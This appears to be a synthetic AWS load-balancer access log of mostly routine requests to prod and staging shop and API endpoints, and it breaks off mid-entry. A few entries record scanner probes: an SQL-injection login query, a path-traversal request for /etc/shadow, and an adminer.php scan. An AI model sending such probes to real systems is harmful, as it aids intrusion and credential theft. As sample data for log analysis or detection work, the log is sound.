2024-11-01T01:50:04.264857Z prod-web-alb 74.24.196.96:45271 10.0.185.134:443 0.022033 0.460430 0.076443 404 404 907 3441 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d15c-22afede9c61d4d52a0503dcc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:50:04.264857Z "forward" "-" "-" "10.0.185.134:443" "404" "-" "-" +https 2024-11-01T01:50:05.355400Z prod-web-alb 241.4.244.161:33900 10.0.249.160:443 0.028461 0.253286 0.086463 200 200 70 9653 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d15d-ba6cbada98194b63b3d5fc9c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:05.355400Z "forward" "-" "-" "10.0.249.160:443" "200" "-" "-" +https 2024-11-01T01:50:05.721088Z prod-web-alb 164.69.196.129:47432 10.0.133.13:443 0.041450 0.095708 0.083725 301 301 341 14756 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d15d-5bee2246c2594192b61803ff" "prod-web-alb.example.com" "-" 3 2024-11-01T01:50:05.721088Z "forward" "-" "-" "10.0.133.13:443" "301" "-" "-" +http 2024-11-01T01:50:05.897784Z staging-alb 93.56.181.210:30204 29.186.65.25:80 0.098337 0.041401 0.116377 404 404 920 6711 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d15d-3d88a1cc9dbc437bab663fb8" "staging-alb.example.com" "-" 4 2024-11-01T01:50:05.897784Z "forward" "-" "-" "29.186.65.25:80" "404" "-" "-" +https 2024-11-01T01:50:07.240277Z prod-web-alb 48.251.109.246:62249 10.0.238.159:443 0.086773 0.054814 0.069956 404 404 389 780 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d15f-2648531e06a04ea19a7040fe" "prod-web-alb.example.com" "-" 5 2024-11-01T01:50:07.240277Z "forward" "-" "-" "10.0.238.159:443" "404" "-" "-" +https 2024-11-01T01:50:08.771956Z staging-alb 63.38.78.26:60425 43.76.192.121:8080 0.048645 0.174116 0.048846 302 302 927 3574 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d160-e3e2ae1bc8f749e3916c4de2" "staging-alb.example.com" "-" 8 2024-11-01T01:50:08.771956Z "forward" "-" "-" "43.76.192.121:8080" "302" "-" "-" +http 2024-11-01T01:50:10.023477Z staging-alb 120.137.107.106:32269 174.52.192.134:443 0.120875 0.078619 0.141019 200 200 901 2344 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d162-b18b46215dc14e6a98f95a27" "staging-alb.example.com" "-" 4 2024-11-01T01:50:10.023477Z "forward" "-" "-" "174.52.192.134:443" "200" "-" "-" +https 2024-11-01T01:50:10.865793Z prod-web-alb 84.95.109.135:28075 10.0.23.240:443 0.007216 0.001748 0.056903 302 302 470 10228 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d162-c2c28146120a4af8ae92f973" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:10.865793Z "forward" "-" "-" "10.0.23.240:443" "302" "-" "-" +http 2024-11-01T01:50:11.565043Z staging-alb 190.126.205.44:63010 38.245.129.38:80 0.092319 0.514643 0.068627 302 302 164 5712 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d163-0fd298536ea6427e9793f85a" "staging-alb.example.com" "-" 7 2024-11-01T01:50:11.565043Z "forward" "-" "-" "38.245.129.38:80" "302" "-" "-" +https 2024-11-01T01:50:12.784263Z prod-api-alb 231.19.34.81:38929 10.0.188.26:443 0.007608 0.474757 0.029704 200 200 657 2590 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d164-47ff23c80ebf4ca99b1a8af7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:50:12.784263Z "forward" "-" "-" "10.0.188.26:443" "200" "-" "-" +https 2024-11-01T01:50:14.421487Z prod-web-alb 81.235.116.147:33716 10.0.24.54:443 0.049672 0.334983 0.009607 200 200 819 13344 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d166-6f6f2696f9934a17a0f1ec51" "prod-web-alb.example.com" "-" 7 2024-11-01T01:50:14.421487Z "forward" "-" "-" "10.0.24.54:443" "200" "-" "-" +https 2024-11-01T01:50:15.084891Z prod-api-alb 6.153.255.215:47847 10.0.139.145:443 0.024153 0.454156 0.092423 200 200 361 11416 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d167-1a7a767463c940fd95dfc198" "prod-api-alb.example.com" "-" 0 2024-11-01T01:50:15.084891Z "forward" "-" "-" "10.0.139.145:443" "200" "-" "-" +https 2024-11-01T01:50:15.338615Z prod-api-alb 152.170.97.177:22631 10.0.181.41:443 0.075741 0.008619 0.085365 200 200 141 6336 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d167-9b8d952d3eac4b88bd29014c" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:15.338615Z "forward" "-" "-" "10.0.181.41:443" "200" "-" "-" +https 2024-11-01T01:50:15.502229Z prod-web-alb 198.146.116.253:23936 10.0.126.182:443 0.029051 0.164565 0.035374 200 200 161 6672 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d167-19e3541073564f5b94def979" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:15.502229Z "forward" "-" "-" "10.0.126.182:443" "200" "-" "-" +https 2024-11-01T01:50:16.171992Z prod-api-alb 109.59.74.163:12772 10.0.56.248:443 0.005001 0.325971 0.043246 200 200 633 6505 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d168-20c3b3edde114ff683f905a2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:16.171992Z "forward" "-" "-" "10.0.56.248:443" "200" "-" "-" +https 2024-11-01T01:50:16.711721Z prod-api-alb 32.223.89.113:28896 10.0.125.201:443 0.085037 0.052613 0.060498 200 200 589 1963 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d168-5f312914c34e4649b0ee6378" "prod-api-alb.example.com" "-" 0 2024-11-01T01:50:16.711721Z "forward" "-" "-" "10.0.125.201:443" "200" "-" "-" +https 2024-11-01T01:50:17.860176Z staging-alb 212.139.7.249:26818 67.6.217.188:443 0.109934 0.627219 0.062187 200 200 947 4036 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d169-5e91657b506e492e9c650cd8" "staging-alb.example.com" "-" 10 2024-11-01T01:50:17.860176Z "forward" "-" "-" "67.6.217.188:443" "200" "-" "-" +https 2024-11-01T01:50:18.077233Z prod-api-alb 66.85.224.63:39229 10.0.111.21:443 0.070321 0.196289 0.028008 200 200 279 3143 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d16a-db836a0825384821b62f8e7f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:18.077233Z "forward" "-" "-" "10.0.111.21:443" "200" "-" "-" +http 2024-11-01T01:50:18.243012Z staging-alb 239.236.238.9:15316 122.55.225.191:443 0.037020 0.120819 0.060014 200 200 991 14405 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d16a-028b0074cfe844ea95b342f3" "staging-alb.example.com" "-" 3 2024-11-01T01:50:18.243012Z "forward" "-" "-" "122.55.225.191:443" "200" "-" "-" +https 2024-11-01T01:50:19.676344Z prod-api-alb 148.164.76.171:21126 10.0.217.15:443 0.029057 0.170544 0.072507 200 200 789 13371 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d16b-b1ee341bfcfd47daac371b42" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:19.676344Z "forward" "-" "-" "10.0.217.15:443" "200" "-" "-" +https 2024-11-01T01:50:20.549168Z prod-web-alb 54.208.65.250:11355 10.0.165.160:443 0.051348 0.417019 0.019355 200 200 839 7951 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d16c-6fc9228a9402402197d1b6ed" "prod-web-alb.example.com" "-" 5 2024-11-01T01:50:20.549168Z "forward" "-" "-" "10.0.165.160:443" "200" "-" "-" +https 2024-11-01T01:50:21.180139Z prod-api-alb 215.95.163.220:18737 10.0.58.143:443 0.069270 0.212370 0.094423 302 302 528 847 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d16d-cb82c467c96542c88c5cc19b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:50:21.180139Z "forward" "-" "-" "10.0.58.143:443" "302" "-" "-" +https 2024-11-01T01:50:22.757206Z staging-alb 131.72.102.210:41946 94.183.187.8:443 0.061375 0.104696 0.129021 301 301 983 12442 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d16e-9c2fc311c4234bbbad866e8b" "staging-alb.example.com" "-" 3 2024-11-01T01:50:22.757206Z "forward" "-" "-" "94.183.187.8:443" "301" "-" "-" +https 2024-11-01T01:50:23.828546Z prod-api-alb 127.137.71.159:22330 10.0.51.234:443 0.069634 0.400718 0.091293 301 301 928 3934 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d16f-f7766885d9644a35a9681dbf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:23.828546Z "forward" "-" "-" "10.0.51.234:443" "301" "-" "-" +https 2024-11-01T01:50:25.018454Z prod-api-alb 222.17.234.155:61927 10.0.69.160:443 0.066217 0.168643 0.016298 404 404 181 1834 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d171-de5520178b554cf1b7a6dd15" "prod-api-alb.example.com" "-" 8 2024-11-01T01:50:25.018454Z "forward" "-" "-" "10.0.69.160:443" "404" "-" "-" +https 2024-11-01T01:50:26.635577Z prod-api-alb 192.68.115.211:20972 10.0.139.73:443 0.060511 0.447933 0.092329 200 200 861 2000 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d172-d91ac7d7673d451b8f24d8e8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:50:26.635577Z "forward" "-" "-" "10.0.139.73:443" "200" "-" "-" +https 2024-11-01T01:50:27.107553Z staging-alb 22.174.152.93:64086 66.241.32.3:80 0.085021 0.388221 0.121603 200 200 383 13065 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d173-ef430678701148a9aa8da4c4" "-" "-" 7 2024-11-01T01:50:27.107553Z "forward" "-" "-" "66.241.32.3:80" "200" "-" "-" +http 2024-11-01T01:50:28.835742Z staging-alb 178.15.162.216:39217 35.166.227.118:443 0.122377 0.197671 0.077292 301 301 59 11563 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d174-d4f4297e60be492dbd7dde52" "staging-alb.example.com" "-" 8 2024-11-01T01:50:28.835742Z "forward" "-" "-" "35.166.227.118:443" "301" "-" "-" +https 2024-11-01T01:50:29.480679Z prod-web-alb 45.155.205.208:28219 10.0.31.6:443 0.001178 0.132540 0.078305 403 403 644 9399 "POST /adminer.php HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d175-58a442adecad4ae19b7b2864" "-" "-" 4 2024-11-01T01:50:29.480679Z "forward" "-" "-" "10.0.31.6:443" "403" "-" "-" +https 2024-11-01T01:50:30.439536Z prod-api-alb 76.101.135.54:21030 10.0.125.9:443 0.032282 0.340135 0.074905 200 200 111 6143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d176-fe82fa63498045169b78b98a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:50:30.439536Z "forward" "-" "-" "10.0.125.9:443" "200" "-" "-" +http 2024-11-01T01:50:31.966871Z staging-alb 47.167.254.116:11224 84.42.186.88:8080 0.024771 0.294707 0.041227 302 302 548 4383 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d177-05781f13e2624f7f8800eef7" "staging-alb.example.com" "-" 10 2024-11-01T01:50:31.966871Z "forward" "-" "-" "84.42.186.88:8080" "302" "-" "-" +https 2024-11-01T01:50:32.747848Z prod-web-alb 159.223.26.77:34702 10.0.117.81:443 0.074832 0.362663 0.069955 200 200 38 6474 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d178-3b1abb08314c433aa6c358e9" "prod-web-alb.example.com" "-" 5 2024-11-01T01:50:32.747848Z "forward" "-" "-" "10.0.117.81:443" "200" "-" "-" +http 2024-11-01T01:50:32.956577Z staging-alb 77.255.15.26:48341 0.81.235.67:80 0.077538 0.172292 0.012216 200 200 910 1429 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d178-07e2743eeb7a49b9b00fc000" "staging-alb.example.com" "-" 10 2024-11-01T01:50:32.956577Z "forward" "-" "-" "0.81.235.67:80" "200" "-" "-" +https 2024-11-01T01:50:34.003300Z staging-alb 145.16.243.183:27605 248.82.152.123:80 0.022545 0.479317 0.074663 200 200 959 14390 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d17a-5094a3d665664236a170192a" "staging-alb.example.com" "-" 0 2024-11-01T01:50:34.003300Z "forward" "-" "-" "248.82.152.123:80" "200" "-" "-" +https 2024-11-01T01:50:34.318880Z staging-alb 156.236.191.253:34835 166.211.193.193:443 0.081725 0.403116 0.104333 302 302 990 1183 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d17a-2dc7bc262a7049af9184a20d" "staging-alb.example.com" "-" 4 2024-11-01T01:50:34.318880Z "forward" "-" "-" "166.211.193.193:443" "302" "-" "-" +https 2024-11-01T01:50:35.598458Z prod-web-alb 45.155.205.164:45594 10.0.90.103:443 0.011960 0.101270 0.065033 200 200 677 5621 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d17b-cfb71fc8a2ba4954bcb06306" "-" "-" 7 2024-11-01T01:50:35.598458Z "forward" "-" "-" "10.0.90.103:443" "200" "-" "-" +https 2024-11-01T01:50:36.626670Z prod-api-alb 15.75.234.179:29881 10.0.58.57:443 0.043482 0.136206 0.033493 200 200 971 12031 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d17c-ad6f6e3e3b9e4ce3b92989a3" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:36.626670Z "forward" "-" "-" "10.0.58.57:443" "200" "-" "-" +http 2024-11-01T01:50:38.013969Z staging-alb 88.219.59.79:24579 123.8.125.195:443 0.148772 0.362991 0.070826 200 200 28 1476 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d17e-08d65752c6024a2c8f43b45c" "staging-alb.example.com" "-" 9 2024-11-01T01:50:38.013969Z "forward" "-" "-" "123.8.125.195:443" "200" "-" "-" +https 2024-11-01T01:50:38.377899Z prod-web-alb 13.74.127.10:48387 10.0.245.42:443 0.047396 0.253795 0.007880 200 200 198 12658 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d17e-dc2026519a8242a9bf22171f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:50:38.377899Z "forward" "-" "-" "10.0.245.42:443" "200" "-" "-" +https 2024-11-01T01:50:38.520344Z prod-api-alb 174.125.34.61:27035 10.0.81.73:443 0.074494 0.431663 0.048116 302 302 251 4940 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d17e-d5a3c6571e144cbaa78237ba" "-" "-" 8 2024-11-01T01:50:38.520344Z "forward" "-" "-" "10.0.81.73:443" "302" "-" "-" +https 2024-11-01T01:50:38.882594Z prod-web-alb 30.232.43.25:43574 10.0.164.44:443 0.037429 0.438238 0.087809 200 200 37 6749 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d17e-aee99d36fe734429b47fd8af" "prod-web-alb.example.com" "-" 4 2024-11-01T01:50:38.882594Z "forward" "-" "-" "10.0.164.44:443" "200" "-" "-" +https 2024-11-01T01:50:40.462796Z prod-web-alb 249.172.182.150:37922 10.0.219.192:443 0.012567 0.475706 0.070180 301 301 173 14805 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d180-8677176c07374b6fbfbbfe8a" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:40.462796Z "forward" "-" "-" "10.0.219.192:443" "301" "-" "-" +https 2024-11-01T01:50:40.837004Z prod-web-alb 208.17.98.233:32321 10.0.234.139:443 0.056996 0.446138 0.018883 302 302 64 9529 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d180-a00c03dc9f45406eacba1f13" "prod-web-alb.example.com" "-" 3 2024-11-01T01:50:40.837004Z "forward" "-" "-" "10.0.234.139:443" "302" "-" "-" +http 2024-11-01T01:50:42.677557Z staging-alb 47.95.131.111:60400 177.236.1.125:443 0.135090 0.585737 0.117373 200 200 383 13935 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d182-e39e56d4c9434252bd69bbcf" "staging-alb.example.com" "-" 3 2024-11-01T01:50:42.677557Z "forward" "-" "-" "177.236.1.125:443" "200" "-" "-" +https 2024-11-01T01:50:43.982638Z prod-web-alb 205.14.202.54:22349 10.0.177.151:443 0.049717 0.310735 0.047178 200 200 777 6426 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d183-cb41c4d004f14b0d8f23a867" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:43.982638Z "forward" "-" "-" "10.0.177.151:443" "200" "-" "-" +https 2024-11-01T01:50:45.362283Z prod-web-alb 50.158.102.23:61309 10.0.228.126:443 0.058862 0.172571 0.074096 200 200 665 6256 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d185-58d9cc6416c64b8197ee2dd0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:50:45.362283Z "forward" "-" "-" "10.0.228.126:443" "200" "-" "-" +https 2024-11-01T01:50:46.715822Z prod-api-alb 45.155.205.35:45899 10.0.196.192:443 0.047233 0.072719 0.068460 404 404 34 9255 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d186-3c885a8978e24b819e6deaa9" "-" "-" 10 2024-11-01T01:50:46.715822Z "forward" "-" "-" "10.0.196.192:443" "404" "-" "-" +https 2024-11-01T01:50:46.905684Z prod-api-alb 240.150.103.200:18431 10.0.221.98:443 0.020717 0.250021 0.072300 200 200 36 5130 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 